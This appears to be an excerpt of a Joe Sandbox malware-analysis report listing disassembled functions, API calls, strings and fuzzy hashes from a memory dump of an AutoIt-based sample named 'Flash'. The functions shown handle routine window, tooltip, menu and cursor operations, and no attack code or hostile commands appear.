SelectObject.GDI32(?,00A5AC1F), ref: 00A5B0F0
DeleteObject.GDI32(?), ref: 00A5B0FB
SelectObject.GDI32(?,?), ref: 00A5B101
DeleteObject.GDI32(?), ref: 00A5B106
SetTextColor.GDI32(?,?), ref: 00A5B10C
SetBkColor.GDI32(?,?), ref: 00A5B116

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: d009d59ef151069cf6dc99d48b670c461ea5701c27a9d8b024fc371eb6a8b691
Instruction ID: 5b88f18d6b2dd154fa42b7bcf79c740301ea4fc8a8e817095bc2030fb060cd24
Opcode Fuzzy Hash: d009d59ef151069cf6dc99d48b670c461ea5701c27a9d8b024fc371eb6a8b691
Instruction Fuzzy Hash: 51615B71900218AFDB11DFA4DC48EAFBB79FF08321F118615F916AB2A1D7B19985CF90

Function 00A58FFA Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00A590EA
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00A590FB
CharNextW.USER32(0000014E), ref: 00A5912A
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00A5916B
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00A59181
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00A59192
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00A591AF
SetWindowTextW.USER32(?,0000014E), ref: 00A591FB
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00A59211
SendMessageW.USER32(?,00001002,00000000,?), ref: 00A59242
_memset.LIBCMT ref: 00A59267
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00A592B0
_memset.LIBCMT ref: 00A5930F
SendMessageW.USER32(?,00001053,000000FF,?), ref: 00A59339
SendMessageW.USER32(?,00001074,?,00000001), ref: 00A59391
SendMessageW.USER32(?,0000133D,?,?), ref: 00A5943E
InvalidateRect.USER32(?,00000000,00000001), ref: 00A59460
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00A594AA
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00A594D7
DrawMenuBar.USER32(?), ref: 00A594E6
SetWindowTextW.USER32(?,0000014E), ref: 00A5950E

Strings

0, xrefs: 00A59478

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: 45fba1ee286f7ee4bfceb9a7e09f0d5a7ded42cd2c6237007d60adf22fcf421c
Instruction ID: ccc37527c28b1455426525cddf7576045a248fcb09d5d14c4dbce95c20a1e1d0
Opcode Fuzzy Hash: 45fba1ee286f7ee4bfceb9a7e09f0d5a7ded42cd2c6237007d60adf22fcf421c
Instruction Fuzzy Hash: A7E16C74900218EADF21DF94CC84EEF7BB8FB05711F108156FE15AA291D7B48A89DF61

Function 00A54ECC Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00A55007
GetDesktopWindow.USER32 ref: 00A5501C
GetWindowRect.USER32(00000000), ref: 00A55023
GetWindowLongW.USER32(?,000000F0), ref: 00A55085
DestroyWindow.USER32(?), ref: 00A550B1
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00A550DA
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00A550F8
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00A5511E
SendMessageW.USER32(?,00000421,?,?), ref: 00A55133
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00A55146
IsWindowVisible.USER32(?), ref: 00A55166
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00A55181
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00A55195
GetWindowRect.USER32(?,?), ref: 00A551AD
MonitorFromPoint.USER32(?,?,00000002), ref: 00A551D3
GetMonitorInfoW.USER32(00000000,?), ref: 00A551ED
CopyRect.USER32(?,?), ref: 00A55204
SendMessageW.USER32(?,00000412,00000000), ref: 00A5526F

Strings

(, xrefs: 00A551E0
tooltips_class32, xrefs: 00A550D3
0, xrefs: 00A54FB2

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 6d0e8192af3ae1f857a7ff3e9df9b22ecb51d85b6c06fd1858d8925dac85250d
Instruction ID: 0858f88d4ffcac10dee13f01876837bcb1caf7110165d452ca9d4bcd9d271b5f
Opcode Fuzzy Hash: 6d0e8192af3ae1f857a7ff3e9df9b22ecb51d85b6c06fd1858d8925dac85250d
Instruction Fuzzy Hash: 58B18B71604740AFDB04DF64C854B6BBBE4BF88711F008A1DF9999B291D7B1EC49CB92

Function 00A3498A Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 00A3499C
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 00A349C2
_wcscpy.LIBCMT ref: 00A349F0
_wcscmp.LIBCMT ref: 00A349FB
_wcscat.LIBCMT ref: 00A34A11
_wcsstr.LIBCMT ref: 00A34A1C
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00A34A38
_wcscat.LIBCMT ref: 00A34A81
_wcscat.LIBCMT ref: 00A34A88
_wcsncpy.LIBCMT ref: 00A34AB3

Strings

04090000, xrefs: 00A34A6E
%u.%u.%u.%u, xrefs: 00A34B16
DefaultLangCodepage, xrefs: 00A34A9B
\VarFileInfo\Translation, xrefs: 00A34A30
StringFileInfo\, xrefs: 00A34A0B

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 699586101-1459072770
Opcode ID: 02303b30cd8ec69d398f1735bd187373075b27e79ecada005bf64f888910438e
Instruction ID: 461bd076d5a247d098b0caf6ae76db4912a167a9cc26f43ee49159a95899c430
Opcode Fuzzy Hash: 02303b30cd8ec69d398f1735bd187373075b27e79ecada005bf64f888910438e
Instruction Fuzzy Hash: 0241F772A00209BBDB15BB748C43FBF7BBCEF85750F104459FA04A6192EB74EA0197A5

Function 009D2BA9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 009D2C8C
GetSystemMetrics.USER32(00000007), ref: 009D2C94
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 009D2CBF
GetSystemMetrics.USER32(00000008), ref: 009D2CC7
GetSystemMetrics.USER32(00000004), ref: 009D2CEC
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 009D2D09
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 009D2D19
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 009D2D4C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 009D2D60
GetClientRect.USER32(00000000,000000FF), ref: 009D2D7E
GetStockObject.GDI32(00000011), ref: 009D2D9A
SendMessageW.USER32(00000000,00000030,00000000), ref: 009D2DA5

Part of subcall function 009D2714: GetCursorPos.USER32(?), ref: 009D2727
Part of subcall function 009D2714: ScreenToClient.USER32(00A977B0,?), ref: 009D2744
Part of subcall function 009D2714: GetAsyncKeyState.USER32(00000001), ref: 009D2769
Part of subcall function 009D2714: GetAsyncKeyState.USER32(00000002), ref: 009D2777

SetTimer.USER32(00000000,00000000,00000028,009D13C7), ref: 009D2DCC

Strings

AutoIt v3 GUI, xrefs: 009D2D44

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: e415ab07df53ae616958d8f7efe8f9c9d486fb2e48b07647041de36a493f6b78
Instruction ID: 43b77880da1ab8df66c1def15c296a606cbf103af4dd008c39f196785a16fa76
Opcode Fuzzy Hash: e415ab07df53ae616958d8f7efe8f9c9d486fb2e48b07647041de36a493f6b78
Instruction Fuzzy Hash: 24B17071A5020A9FDB14DFA8DD49BAE77B4FB58310F10821AFA15E72D0DBB4A851CF60

Function 009F0429 Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 349COMMON

Download Yara Rule

APIs

Part of subcall function 009E1821: _memmove.LIBCMT ref: 009E185B

GetForegroundWindow.USER32(00A60980,?,?,?,?,?), ref: 009F04E3
IsWindow.USER32(?), ref: 00A266BB

Strings

ALL, xrefs: 00A26622
CLASS, xrefs: 00A264E5
REGEXPCLASS, xrefs: 00A26506
ACTIVE, xrefs: 00A26488
INSTANCE, xrefs: 00A265FA
REGEXPTITLE, xrefs: 00A264B4
TITLE, xrefs: 00A26650
HANDLE, xrefs: 00A2649E
LAST, xrefs: 00A26472

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Window$Foreground_memmove
String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
API String ID: 3828923867-1919597938
Opcode ID: 861d46a1314526904a81ab09466feb42be077e7850a0a6f73205c3fe6dbfd39a
Instruction ID: 6910cd587d2ad72a2b348cbbc003a53da607357f43592afd5f92dfec0e167936
Opcode Fuzzy Hash: 861d46a1314526904a81ab09466feb42be077e7850a0a6f73205c3fe6dbfd39a
Instruction Fuzzy Hash: DCD13630105356DFDB08EF24D980AAABBB5BF94344F104A39F595832A2DB30FD99CB91

Function 00A5441F Relevance: 28.3, APIs: 3, Strings: 13, Instructions: 283windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00A544AC
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00A5456C

Strings

FINDITEM, xrefs: 00A546DF
ISSELECTED, xrefs: 00A54577
VIEWCHANGE, xrefs: 00A5472B
SELECTINVERT, xrefs: 00A5463C
SELECTALL, xrefs: 00A545D3
GETITEMCOUNT, xrefs: 00A544DE
SELECTCLEAR, xrefs: 00A545EB
SELECT, xrefs: 00A54606
GETTEXT, xrefs: 00A54515
GETSELECTED, xrefs: 00A5469A
GETSELECTEDCOUNT, xrefs: 00A5454F
DESELECT, xrefs: 00A5465A
GETSUBITEMCOUNT, xrefs: 00A544F7

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 3974292440-719923060
Opcode ID: 165d7c81deb3cdd4a228525ec4eaad905fdbd8169a37f74f4115f40c65b0a3f7
Instruction ID: b6a71e0079d2396a53545779467a74af582da6cf101c8d4373f44634376b7b09
Opcode Fuzzy Hash: 165d7c81deb3cdd4a228525ec4eaad905fdbd8169a37f74f4115f40c65b0a3f7
Instruction Fuzzy Hash: 86A17A302543119FCB14EF24C951B6AB3A5BFC9319F108969F89A9B7E2DB30EC49CB51

Function 00A456C8 Relevance: 27.1, APIs: 18, Instructions: 124COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 00A456E1
LoadCursorW.USER32(00000000,00007F8A), ref: 00A456EC
LoadCursorW.USER32(00000000,00007F00), ref: 00A456F7
LoadCursorW.USER32(00000000,00007F03), ref: 00A45702
LoadCursorW.USER32(00000000,00007F8B), ref: 00A4570D
LoadCursorW.USER32(00000000,00007F01), ref: 00A45718
LoadCursorW.USER32(00000000,00007F81), ref: 00A45723
LoadCursorW.USER32(00000000,00007F88), ref: 00A4572E
LoadCursorW.USER32(00000000,00007F80), ref: 00A45739
LoadCursorW.USER32(00000000,00007F86), ref: 00A45744
LoadCursorW.USER32(00000000,00007F83), ref: 00A4574F
LoadCursorW.USER32(00000000,00007F85), ref: 00A4575A
LoadCursorW.USER32(00000000,00007F82), ref: 00A45765
LoadCursorW.USER32(00000000,00007F84), ref: 00A45770
LoadCursorW.USER32(00000000,00007F04), ref: 00A4577B
LoadCursorW.USER32(00000000,00007F02), ref: 00A45786
GetCursorInfo.USER32(?), ref: 00A45796
GetLastError.KERNEL32(00000001,00000000), ref: 00A457C1

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: 336be55ccf27f50a823db9be3fe585ce978e9971db9b70a722dd5d1353f2e669
Instruction ID: 6b751b30a5507cb78843e2cb821695646f347ad3194d1ba6aa578ab7046b05c9
Opcode Fuzzy Hash: 336be55ccf27f50a823db9be3fe585ce978e9971db9b70a722dd5d1353f2e669
Instruction Fuzzy Hash: 40415370E44319ABDB109FBA8C49D6FFEF8EF91B10B10452FE509E7291DAB8A501CE51

Function 00A2B13A Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00A2B17B
__swprintf.LIBCMT ref: 00A2B21C
_wcscmp.LIBCMT ref: 00A2B22F
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00A2B284
_wcscmp.LIBCMT ref: 00A2B2C0
GetClassNameW.USER32(?,?,00000400), ref: 00A2B2F7
GetDlgCtrlID.USER32(?), ref: 00A2B349
GetWindowRect.USER32(?,?), ref: 00A2B37F
GetParent.USER32(?), ref: 00A2B39D
ScreenToClient.USER32(00000000), ref: 00A2B3A4
GetClassNameW.USER32(?,?,00000100), ref: 00A2B41E
_wcscmp.LIBCMT ref: 00A2B432
GetWindowTextW.USER32(?,?,00000400), ref: 00A2B458
_wcscmp.LIBCMT ref: 00A2B46C

Part of subcall function 009F385C: _iswctype.LIBCMT ref: 009F3864

Strings

%s%u, xrefs: 00A2B216

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: 1a9784ecaa492fa2f14ac740c01b6af744d940393ad217214b4f93a3d63376c8
Instruction ID: 76f4d778d68724112b513b9354d5212448ebf55530bf450bf74799a9fef6fcf8
Opcode Fuzzy Hash: 1a9784ecaa492fa2f14ac740c01b6af744d940393ad217214b4f93a3d63376c8
Instruction Fuzzy Hash: 8BA1D071214726AFD718EF68D884FEAB7E8FF44350F108629F999C2191DB30E955CBA0

Function 00A2BA6D Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 00A2BAB1
_wcscmp.LIBCMT ref: 00A2BAC2
GetWindowTextW.USER32(00000001,?,00000400), ref: 00A2BAEA
CharUpperBuffW.USER32(?,00000000), ref: 00A2BB07
_wcscmp.LIBCMT ref: 00A2BB25
_wcsstr.LIBCMT ref: 00A2BB36
GetClassNameW.USER32(00000018,?,00000400), ref: 00A2BB6E
_wcscmp.LIBCMT ref: 00A2BB7E
GetWindowTextW.USER32(00000002,?,00000400), ref: 00A2BBA5
GetClassNameW.USER32(00000018,?,00000400), ref: 00A2BBEE
_wcscmp.LIBCMT ref: 00A2BBFE
GetClassNameW.USER32(00000010,?,00000400), ref: 00A2BC26
GetWindowRect.USER32(00000004,?), ref: 00A2BC8F

Strings

@, xrefs: 00A2BA92
ThumbnailClass, xrefs: 00A2BB79, 00A2BBF9

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: b657d8dfdd5663e81c63406f144334659654311ff02bbc49ee9122b85cbdff63
Instruction ID: 6e7d6aa9597e18990098dc1b7206ee708d58927dba820c397d990cfe6d6b8176
Opcode Fuzzy Hash: b657d8dfdd5663e81c63406f144334659654311ff02bbc49ee9122b85cbdff63
Instruction Fuzzy Hash: 5781BE710142199FDB04DF18E885FAA77E8FF88314F04847AFD898A096DB74DD46CBA1

Function 00A2B8B6 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00A2B915

Strings

[LAST, xrefs: 00A2B9C2
[REGEXPTITLE:, xrefs: 00A2B93D
ALL, xrefs: 00A2B9A9
[HANDLE:, xrefs: 00A2B921
REGEXP=, xrefs: 00A2B92A
HANDLE=, xrefs: 00A2B90E
CLASSNAME=, xrefs: 00A2B952
ACTIVE, xrefs: 00A2B8F0
[ACTIVE, xrefs: 00A2B902
[ALL, xrefs: 00A2B9BB
[CLASS:, xrefs: 00A2B965
LAST, xrefs: 00A2B8DA

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: c50b29a82b692da4bf8b2a6fd80728857b0a92524829e4f21a294bfe5d26e54e
Instruction ID: 8a3551116fe0b59c587669e90d6a0a277cb6c1c69c3fe8bb16efcc414a6e1756
Opcode Fuzzy Hash: c50b29a82b692da4bf8b2a6fd80728857b0a92524829e4f21a294bfe5d26e54e
Instruction Fuzzy Hash: C5310030A40219A7EB01FB61ED03FAD73B4AF20750F200936F691B10D6EF6A6E40C762

Function 00A2CB97 Relevance: 25.7, APIs: 17, Instructions: 169windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00A2CBAA
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00A2CBBC
SetWindowTextW.USER32(?,?), ref: 00A2CBD3
GetDlgItem.USER32(?,000003EA), ref: 00A2CBE8
SetWindowTextW.USER32(00000000,?), ref: 00A2CBEE
GetDlgItem.USER32(?,000003E9), ref: 00A2CBFE
SetWindowTextW.USER32(00000000,?), ref: 00A2CC04
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00A2CC25
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00A2CC3F
GetWindowRect.USER32(?,?), ref: 00A2CC48
SetWindowTextW.USER32(?,?), ref: 00A2CCB3
GetDesktopWindow.USER32 ref: 00A2CCB9
GetWindowRect.USER32(00000000), ref: 00A2CCC0
MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 00A2CD0C
GetClientRect.USER32(?,?), ref: 00A2CD19
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 00A2CD3E
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00A2CD69

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: bc9b26dfeb6ad3fb30b1f51cc189e478f8de87c32592c5c789f7426db7ba1349
Instruction ID: ec7767e5fa9d6e3be9f7ec5aa9a5c7046a68de23e919d4e5499f3a31f67959b4
Opcode Fuzzy Hash: bc9b26dfeb6ad3fb30b1f51cc189e478f8de87c32592c5c789f7426db7ba1349
Instruction Fuzzy Hash: 83517A70900709AFDB20DFA8DE8AF6FBBF5FF04715F004928E586A25A0D7B4A955CB50

Function 00A5A7DE Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A5A87E
DestroyWindow.USER32(00000000,?), ref: 00A5A8F8

Part of subcall function 009E1821: _memmove.LIBCMT ref: 009E185B

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00A5A972
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00A5A994
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00A5A9A7
DestroyWindow.USER32(00000000), ref: 00A5A9C9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,009D0000,00000000), ref: 00A5AA00
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00A5AA19
GetDesktopWindow.USER32 ref: 00A5AA32
GetWindowRect.USER32(00000000), ref: 00A5AA39
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00A5AA51
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00A5AA69

